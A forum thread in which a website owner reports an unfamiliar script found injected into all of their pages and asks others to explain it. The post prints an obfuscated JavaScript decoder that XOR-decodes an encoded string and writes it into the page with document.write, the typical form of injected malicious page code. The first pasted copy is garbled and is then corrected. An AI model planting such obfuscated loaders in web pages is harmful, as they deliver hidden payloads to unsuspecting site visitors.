strange js function on my pages

[ale.beer]

hi everyone. i've notice that in all my pages there is a piece of j-s
code that i've never write (i'm sure about that).
i'm not so smart to understand what it does do, i suppose nothing, but
if there is someone smarter could help me.

the script is the following one, any other references on the page.

<script>
function cdf(x) {
var l=x.length,
b=1024,
i,j,r,p=0,s=0,w=0,
t=Array(63,20,44,53,23,24,14,45,36,26,0,0,0,0,0,0,5,41,6,48,62,29,13,25,57,50,37,59,30,0,28,60,47,51,2,46,17,54,1,8,56,42,32,0,0,0,0,7,0,19,31,39,12,11,49,61,55,27,58,22,3,34,4,21,33,40,38,43,9,15,52,10,35,16,18);
for(j=Math.ceil(l/omg, bug!;j>0;j--){
r='';
for(i=Math.min(l,omg,bug!;i>0;i--,l--){
w|=(t[x.charCodeAt(p++)-48])<<s;
if(s){
r+=String.fromCharCode(250^w&255);
w>>=8;
s-=2
}
else{s=6}
}
document.write(r)
}
}

cdf('ButcWSHJbYEmWrHfEeAx6YWCo4ErWDWJbjW3aztcokEJujW3wwAmEsExajAxzLNheh7UzDH8EwAx_hgIEsEm66qJbLNhd6GmamH8k6AxlR2Uz6AcLDtJVhFfB4g8NmXr4Dtf')
</script>

 

[ale.ber]

i'm sorry there is a problem in my post code.. the right one is the
following..

function cdf(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,
t=Array(63,20,44,53,23,24,14,45,36,26,0,0,0,0,0,0,5,41,6,48,62,29,13,25,57,50,37,59,30,0,28,60,47,51,2,46,17,54,1,8,56,42,32,0,0,0,0,7,0,19,31,39,12,11,49,61,55,27,58,22,3,34,4,21,33,40,38,43,9,15,52,10,35,16,18);
for(j=Math.ceil(l/b);j>0;j--){
r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p+
+)-48])<<s;if(s){r+=String.fromCharCode(250^w&255);w>>=8;s-
=2}else{s=6}}
document.write(r)}}
cdf('ButcWSHJbYEmWrHfEeAx6YWCo4ErWDWJbjW3aztcokEJujW3wwAmEsExajAxzLNheh7UzDH8EwAx_hgIEsEm66qJbLNhd6GmamH8k6AxlR2Uz6AcLDtJVhFfB4g8NmXr4Dtf')

 

[rf]

hi everyone. i've notice that in all my pages there is a piece of j-s
code that i've never write (i'm sure about that).

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